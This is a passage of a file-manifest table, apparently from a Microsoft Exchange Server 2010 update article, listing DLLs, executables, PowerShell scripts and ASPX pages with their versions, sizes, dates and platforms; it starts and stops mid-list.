\nIbxpm2.dll| 8.5.3.76| 67,936| 03-Jan-2020| 05:49| x64 \nIbxwd2.dll| 8.5.3.76| 37,728| 03-Jan-2020| 05:49| x64 \nIm.js| Not applicable| 54,992| 03-Jan-2020| 05:46| Not applicable \nImcd32.dll| 8.5.3.76| 123,744| 03-Jan-2020| 05:49| x64 \nImcd42.dll| 8.5.3.76| 142,688| 03-Jan-2020| 05:49| x64 \nImcd52.dll| 8.5.3.76| 144,736| 03-Jan-2020| 05:49| x64 \nImcd62.dll| 8.5.3.76| 159,072| 03-Jan-2020| 05:49| x64 \nImcd72.dll| 8.5.3.76| 279,392| 03-Jan-2020| 05:49| x64 \nImcd82.dll| 8.5.3.76| 279,392| 03-Jan-2020| 05:49| x64 \nImcdr2.dll| 8.5.3.76| 73,056| 03-Jan-2020| 05:49| x64 \nImcm52.dll| 8.5.3.76| 63,840| 03-Jan-2020| 05:49| x64 \nImcm72.dll| 8.5.3.76| 117,088| 03-Jan-2020| 05:49| x64 \nImcmx2.dll| 8.5.3.76| 32,096| 03-Jan-2020| 05:49| x64 \nImdsf2.dll| 8.5.3.76| 168,288| 03-Jan-2020| 05:49| x64 \nImfmv2.dll| 8.5.3.76| 67,424| 03-Jan-2020| 05:49| x64 \nImgdf2.dll| 8.5.3.76| 77,664| 03-Jan-2020| 05:49| x64 \nImgem2.dll| 8.5.3.76| 56,672| 03-Jan-2020| 05:49| x64 \nImigs2.dll| 8.5.3.76| 117,088| 03-Jan-2020| 05:49| x64 \nImmet2.dll| 8.5.3.76| 167,264| 03-Jan-2020| 05:49| x64 \nImpif2.dll| 8.5.3.76| 71,008| 03-Jan-2020| 05:49| x64 \nImportedgeconfig.ps1| Not applicable| 77,620| 03-Jan-2020| 05:47| Not applicable \nImport_retentiontags.ps1| Not applicable| 26,811| 03-Jan-2020| 05:47| Not applicable \nImpsi2.dll| 8.5.3.76| 2,031,968| 03-Jan-2020| 05:49| x64 \nImpsz2.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nImps_2.dll| 8.5.3.76| 124,256| 03-Jan-2020| 05:49| x64 \nImrnd2.dll| 8.5.3.76| 38,752| 03-Jan-2020| 05:49| x64 \nInfo.aspx| Not applicable| 3,447| 03-Jan-2020| 05:49| Not applicable \nInproxy.dll| 14.3.470.0| 95,664| 03-Jan-2020| 05:45| x64 \nInstallwindowscomponent.ps1| Not applicable| 25,053| 03-Jan-2020| 05:47| Not applicable \nInstall_antispamagents.ps1| Not applicable| 14,528| 03-Jan-2020| 05:48| Not applicable \nInterop.activeds.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 14.3.470.0| 126,600| 03-Jan-2020| 05:50| Not applicable \nInterop.adsiis.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 14.3.470.0| 27,272| 03-Jan-2020| 05:50| Not applicable \nInterop.certenroll.dll| 14.3.470.0| 155,272| 03-Jan-2020| 05:48| x64 \nInterop.migbase.dll| 14.3.470.0| 57,184| 03-Jan-2020| 05:46| x86 \nInterop.netfw.dll| 14.3.470.0| 48,776| 03-Jan-2020| 05:46| x86 \nInterop.stdole2.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 14.3.470.0| 32,904| 03-Jan-2020| 05:50| Not applicable \nInterop.wuapilib.dll| 14.3.470.0| 77,656| 03-Jan-2020| 05:50| x86 \nInterop.xenroll.dll| 14.3.470.0| 56,968| 03-Jan-2020| 05:46| x64 \nIphgw2.dll| 8.5.3.76| 222,048| 03-Jan-2020| 05:49| x64 \nIsgdi32.dll| 8.5.3.76| 1,406,312| 03-Jan-2020| 05:49| x64 \nIsinteg.exe| 14.3.470.0| 456,648| 03-Jan-2020| 05:48| x64 \nKerbauth.dll| 14.3.470.0| 69,552| 03-Jan-2020| 05:48| x64 \nLanguageselection.aspx| Not applicable| 5,421| 03-Jan-2020| 05:49| Not applicable \nLargetoken_iis_ews.ps1| Not applicable| 19,631| 03-Jan-2020| 05:47| Not applicable \nLargetoken_kerberos.ps1| Not applicable| 13,874| 03-Jan-2020| 05:47| Not applicable \nLogoff.aspx| Not applicable| 6,067| 03-Jan-2020| 05:49| Not applicable \nLogon.aspx| Not applicable| 13,479| 03-Jan-2020| 05:49| Not applicable \nLpsetupui.exe| 14.3.470.0| 241,288| 03-Jan-2020| 05:47| x86 \nLpversioning.xml| Not applicable| 17,581| 03-Jan-2020| 05:47| Not applicable \nMad.exe| 14.3.470.0| 1,371,592| 03-Jan-2020| 05:45| x64 \nMadmsg.dll| 14.3.470.0| 108,456| 03-Jan-2020| 05:45| x64 \nMailboxdatabasereseedusingspares.ps1| Not applicable| 38,829| 03-Jan-2020| 05:47| Not applicable \nManagescheduledtask.ps1| Not applicable| 34,405| 03-Jan-2020| 05:47| Not applicable \nMapiprotocolhandlerstub.dll| 14.3.470.0| 81,840| 03-Jan-2020| 05:48| x64 \nMdbevent.dll| 14.3.470.0| 500,136| 03-Jan-2020| 05:48| x64 \nMdbmsg.dll| 14.3.470.0| 231,856| 03-Jan-2020| 05:46| x64 \nMdbperf.dll| 14.3.470.0| 475,568| 03-Jan-2020| 05:50| x64 \nMdbperf.ini| Not applicable| 724,818| 03-Jan-2020| 05:46| Not applicable \nMdbperfx.dll| 14.3.470.0| 476,080| 03-Jan-2020| 05:50| x64 \nMdbrest.dll| 14.3.470.0| 704,944| 03-Jan-2020| 05:48| x64 \nMdbsz.dll| 14.3.470.0| 56,752| 03-Jan-2020| 05:48| x64 \nMdbtask.dll| 14.3.470.0| 455,624| 03-Jan-2020| 05:48| x64 \nMeetingpage.aspx| Not applicable| 12,927| 03-Jan-2020| 05:49| Not applicable \nMessages.xsd| Not applicable| 21,147| 03-Jan-2020| 05:49| Not applicable \nMicrosoft.dkm.proxy.dll| 14.3.470.0| 44,744| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.abproviders.ad.dll| 14.3.470.0| 48,840| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.addressbook.service.eventlog.dll| 14.3.470.0| 20,912| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.addressbook.service.exe| 14.3.487.0| 155,344| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.airsync.airsyncmsg.dll| 14.3.470.0| 49,584| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.airsync.dll1| 14.3.487.0| 1,183,440| 03-Jan-2020| 05:45| Not applicable \nMicrosoft.exchange.airsynchandler.dll| 14.3.487.0| 69,328| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.antispam.eventlog.dll| 14.3.470.0| 27,048| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.antispamupdate.eventlog.dll| 14.3.470.0| 21,936| 03-Jan-2020| 05:50| x64 \nMicrosoft.exchange.antispamupdatesvc.exe| 14.3.470.0| 44,896| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.approval.applications.dll| 14.3.487.0| 69,328| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.assistants.dll| 14.3.487.0| 233,168| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.assistants.eventlog.dll| 14.3.470.0| 29,608| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.auditlogsearch.eventlog.dll| 14.3.470.0| 19,888| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.auditlogsearchservicelet.dll| 14.3.487.0| 65,232| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.authorizationplugin.dll| 14.3.487.0| 78,544| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.authservicehostservicelet.dll| 14.3.470.0| 22,656| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.autodiscover.dll| 14.3.487.0| 282,320| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.autodiscover.eventlogs.dll| 14.3.470.0| 27,568| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.cabutility.dll| 14.3.470.0| 264,328| 03-Jan-2020| 05:45| x64 \nMicrosoft.exchange.certificatedeployment.eventlog.dll| 14.3.470.0| 22,448| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 14.3.470.0| 40,584| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.clients.common.dll| 14.3.470.0| 61,128| 03-Jan-2020| 05:49| x86 \nMicrosoft.exchange.clients.eventlogs.dll| 14.3.470.0| 82,864| 03-Jan-2020| 05:49| x64 \nMicrosoft.exchange.clients.owa.dll| 14.3.487.0| 3,321,560| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.clients.security.dll| 14.3.487.0| 89,808| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.clients.strings.dll| 14.3.470.0| 966,344| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.cluster.replay.dll| 14.3.487.0| 1,969,880| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 14.3.470.0| 101,064| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 14.3.487.0| 184,528| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.common.dll| 14.3.470.0| 110,280| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.common.il.dll| 14.3.470.0| 20,168| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.common.processmanagermsg.dll| 14.3.470.0| 24,488| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.commonmsg.dll| 14.3.470.0| 29,104| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.compliance.dll| 14.3.470.0| 57,032| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 14.3.487.0| 57,040| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.configuration.delegatedauth.dll| 14.3.470.0| 61,128| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.configuration.objectmodel.dll| 14.3.487.0| 1,052,368| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 14.3.470.0| 36,272| 03-Jan-2020| 05:45| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 14.3.487.0| 89,808| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 14.3.470.0| 182,184| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.core.strings.dll| 14.3.470.0| 163,528| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 14.3.487.0| 429,776| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 14.3.470.0| 21,424| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.data.directory.dll| 14.3.470.0| 3,469,144| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 14.3.470.0| 83,888| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.data.dll| 14.3.470.0| 921,432| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.data.filedistributionservice.eventlog.dll| 14.3.470.0| 28,592| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.data.mapi.dll| 14.3.487.0| 220,880| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.providers.dll| 14.3.487.0| 184,016| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 14.3.470.0| 98,136| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.storage.dll| 14.3.487.0| 5,287,632| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 14.3.470.0| 28,592| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.data.throttlingservice.client.dll| 14.3.470.0| 52,936| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 14.3.470.0| 19,888| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 14.3.470.0| 19,888| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.datacenterstrings.dll| 14.3.470.0| 81,544| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.diagnostics.dll| 14.3.470.0| 827,080| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 14.3.470.0| 28,288| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.edgesync.common.dll| 14.3.470.0| 167,768| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 14.3.470.0| 233,312| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 14.3.470.0| 29,616| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 14.3.470.0| 114,528| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 14.3.470.0| 18,864| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 14.3.470.0| 52,872| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.extensibility.eventlog.dll| 14.3.470.0| 20,400| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.extensibility.internal.dll| 14.3.470.0| 446,304| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.groupmetrics.eventlog.dll| 14.3.470.0| 18,864| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.groupmetricsservicelet.dll| 14.3.470.0| 28,296| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 14.3.470.0| 61,128| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.helpprovider.dll| 14.3.470.0| 52,872| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 14.3.470.0| 23,984| 03-Jan-2020| 05:50| x64 \nMicrosoft.exchange.imap4.exe| 14.3.487.0| 225,192| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.imap4service.exe| 14.3.487.0| 28,880| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 14.3.470.0| 53,088| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.infoworker.common.dll| 14.3.487.0| 1,470,160| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.infoworker.common.mailtips.groupmetricsreaderinterop.dll| 14.3.470.0| 23,904| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 14.3.470.0| 58,800| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 14.3.487.0| 131,008| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.instantmessaging.dll| 14.3.470.0| 69,320| 03-Jan-2020| 05:49| x86 \nMicrosoft.exchange.irm.formprotector.dll| 14.3.470.0| 159,144| 03-Jan-2020| 05:50| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 14.3.470.0| 59,312| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 14.3.470.0| 53,680| 03-Jan-2020| 05:50| x64 \nMicrosoft.exchange.isam.esebcli.dll| 14.3.470.0| 95,576| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.isam.interop.dll| 14.3.470.0| 363,352| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.live.domainservices.dll| 14.3.470.0| 135,000| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 14.3.487.0| 577,232| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 14.3.487.0| 364,240| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 14.3.470.0| 30,640| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.mailboxreplicationservice.provider.dll| 14.3.487.0| 179,920| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 14.3.487.0| 126,672| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 14.3.487.0| 122,576| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.mailsubmission.eventlog.dll| 14.3.470.0| 22,448| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.management.controlpanel.dll| 14.3.496.0| 3,650,440| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 14.3.470.0| 34,736| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.management.detailstemplates.dll| 14.3.470.0| 89,800| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.management.dll| 14.3.487.0| 12,291,792| 03-Jan-2020| 05:45| x64 \nMicrosoft.exchange.management.edge.systemmanager.dll| 14.3.470.0| 77,512| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.management.nativeresources.dll| 14.3.470.0| 208,328| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.management.powershell.support.dll| 14.3.487.0| 110,288| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.management.publicfolders.dll| 14.3.470.0| 151,240| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.management.snapin.esm.dll| 14.3.487.0| 2,563,792| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.management.systemmanager.dll| 14.3.470.0| 1,281,736| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.managementgui.dll| 14.3.470.0| 5,418,696| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.managementmsg.dll| 14.3.470.0| 33,712| 03-Jan-2020| 05:45| x64 \nMicrosoft.exchange.messagesecurity.dll| 14.3.470.0| 93,832| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 14.3.470.0| 23,472| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 14.3.470.0| 81,544| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 14.3.470.0| 27,568| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 14.3.487.0| 114,600| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 14.3.487.0| 31,960| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 14.3.487.0| 138,960| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 14.3.487.0| 179,920| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 14.3.487.0| 32,976| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.mobiledriver.dll| 14.3.487.0| 155,344| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.monitoring.eventlog.dll| 14.3.470.0| 18,864| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.monitoring.exe| 14.3.487.0| 73,424| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.net.dll| 14.3.470.0| 2,186,952| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.oabauthmodule.dll| 14.3.470.0| 25,736| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.oabmaintenance.eventlog.dll| 14.3.470.0| 20,912| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.oabmaintenanceservicelet.dll| 14.3.470.0| 56,968| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 14.3.470.0| 22,984| 03-Jan-2020| 05:50| x64 \nMicrosoft.exchange.pop3.exe| 14.3.487.0| 98,000| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.pop3service.exe| 14.3.487.0| 28,880| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.popimap.core.dll| 14.3.487.0| 159,440| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.powershell.configuration.dll| 14.3.487.0| 200,400| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 14.3.487.0| 81,616| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.protectedservicehost.exe| 14.3.487.0| 32,464| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.provisioningagent.dll| 14.3.487.0| 192,208| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.pst.dll| 14.3.470.0| 179,848| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.routingtablelogparser.dll| 14.3.470.0| 110,216| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.rpc.dll| 14.3.470.0| 873,672| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.rpcclientaccess.coexistence.dll| 14.3.470.0| 24,200| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.dll| 14.3.487.0| 126,672| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 14.3.470.0| 73,344| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 14.3.487.0| 437,968| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 14.3.470.0| 601,736| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 14.3.487.0| 110,504| 03-Jan-2020| 05:50| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 14.3.470.0| 23,472| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 14.3.487.0| 89,808| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 14.3.487.0| 65,232| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 14.3.470.0| 29,104| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 14.3.470.0| 20,912| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 14.3.470.0| 26,976| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.search.exsearch.exe| 14.3.487.0| 417,488| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.search.exsearchmsg.dll| 14.3.470.0| 27,568| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.search.native.dll| 14.3.470.0| 138,440| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.security.dll| 14.3.487.0| 192,208| 03-Jan-2020| 05:45| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 14.3.470.0| 20,400| 03-Jan-2020| 05:45| x64 \nMicrosoft.exchange.servicehost.exe| 14.3.487.0| 35,752| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.services.dll| 14.3.487.0| 3,145,424| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.services.eventlogs.dll| 14.3.470.0| 32,688| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 14.3.470.0| 52,872| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.setup.common.dll| 14.3.470.0| 454,280| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.setup.exsetupuihelper.dll| 14.3.470.0| 216,712| 03-Jan-2020| 05:47| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 14.3.470.0| 74,376| 03-Jan-2020| 05:47| x64 \nMicrosoft.exchange.sqm.dll| 14.3.470.0| 65,224| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.storedriver.dll| 14.3.487.0| 556,752| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.storedriver.eventlog.dll| 14.3.470.0| 23,472| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.storeprovider.dll| 14.3.470.0| 859,784| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.structuredquery.dll| 14.3.470.0| 159,944| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 14.3.470.0| 77,448| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 14.3.470.0| 29,320| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.transport.agent.headerconversion.dll| 14.3.470.0| 26,248| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 14.3.470.0| 233,096| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 14.3.470.0| 23,680| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 14.3.470.0| 44,680| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 14.3.470.0| 65,160| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 14.3.470.0| 73,352| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 14.3.487.0| 57,040| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.dll| 14.3.487.0| 1,916,624| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.eventlog.dll| 14.3.470.0| 104,368| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.transport.logging.search.dll| 14.3.470.0| 102,024| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.transport.sync.common.dll| 14.3.487.0| 442,064| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 14.3.470.0| 18,888| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.transport.sync.worker.dll| 14.3.487.0| 1,072,848| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 14.3.470.0| 21,936| 03-Jan-2020| 05:46| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 14.3.470.0| 27,568| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.um.clientstrings.dll| 14.3.470.0| 77,448| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.um.lad.dll| 14.3.470.0| 123,528| 03-Jan-2020| 05:48| x64 \nMicrosoft.exchange.um.prompts.dll| 14.3.470.0| 212,616| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 14.3.470.0| 102,024| 03-Jan-2020| 05:46| x86 \nMicrosoft.exchange.um.ucmaplatform.dll| 14.3.487.0| 188,112| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.um.umcommon.dll| 14.3.487.0| 765,856| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.um.umcore.dll| 14.3.487.0| 1,384,144| 03-Jan-2020| 05:48| x86 \nMicrosoft.exchange.unifiedmessaging.eventlog.dll| 14.3.470.0| 108,976| 03-Jan-2020| 05:46| x64 \nMicrosoft.managementgui.dll| 14.3.470.0| 155,336| 03-Jan-2020| 05:45| x86 \nMicrosoft.powershell.hostingtools.dll| 14.3.470.0| 89,800| 03-Jan-2020| 05:48| x86 \nMicrosoft.powershell.hostingtools_2.dll| 14.3.470.0| 89,800| 03-Jan-2020| 05:45| x86 \nMigbase.dll| 14.3.470.0| 783,792| 03-Jan-2020| 05:48| x64 \nMigmsg.dll| 14.3.470.0| 91,560| 03-Jan-2020| 05:46| x64 \nMigrateumcustomprompts.ps1| Not applicable| 16,986| 03-Jan-2020| 05:47| Not applicable \nMoveallreplicas.ps1| Not applicable| 13,043| 03-Jan-2020| 05:47| Not applicable \nMovemailbox.ps1| Not applicable| 56,868| 03-Jan-2020| 05:47| Not applicable \nMovetransportdatabase.ps1| Not applicable| 28,466| 03-Jan-2020| 05:47| Not applicable \nMsallog.dll| 14.3.470.0| 46,504| 03-Jan-2020| 05:46| x64 \nMsexchangeadtopologyservice.exe| 14.3.470.0| 114,096| 03-Jan-2020| 05:50| x64 \nMsexchangefds.exe| 14.3.470.0| 110,280| 03-Jan-2020| 05:46| x86 \nMsexchangelesearchworker.exe| 14.3.487.0| 89,808| 03-Jan-2020| 05:47| x86 \nMsexchangemailboxassistants.exe| 14.3.487.0| 802,512| 03-Jan-2020| 05:46| x86 \nMsexchangemailboxreplication.exe| 14.3.470.0| 27,272| 03-Jan-2020| 05:46| x86 \nMsexchangemailsubmission.exe| 14.3.487.0| 118,480| 03-Jan-2020| 05:46| x86 \nMsexchangerepl.exe| 14.3.487.0| 69,328| 03-Jan-2020| 05:46| x86 \nMsexchangethrottling.exe| 14.3.470.0| 48,840| 03-Jan-2020| 05:46| x86 \nMsexchangetransport.exe| 14.3.470.0| 81,544| 03-Jan-2020| 05:46| x86 \nMsexchangetransportlogsearch.exe| 14.3.487.0| 212,688| 03-Jan-2020| 05:48| x86 \nMsfte1.dll| 14.0.7177.5001| 3,228,440| 03-Jan-2020| 05:48| x64 \nMsgedt.js| Not applicable| 4,778| 03-Jan-2020| 05:46| Not applicable \nMsglst.js| Not applicable| 3,295| 03-Jan-2020| 05:46| Not applicable \nNewtestcasconnectivityuser.ps1| Not applicable| 20,120| 03-Jan-2020| 05:47| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 22,443| 03-Jan-2020| 05:47| Not applicable \nNtspxgen.dll| 14.3.470.0| 87,472| 03-Jan-2020| 05:45| x64 \nOabgen.dll| 14.3.470.0| 356,784| 03-Jan-2020| 05:48| x64 \nOcemul.dll| 8.5.3.76| 54,112| 03-Jan-2020| 05:49| x64 \nOilink.dll| 8.5.3.76| 464,736| 03-Jan-2020| 05:49| x86 \nOilink.exe| 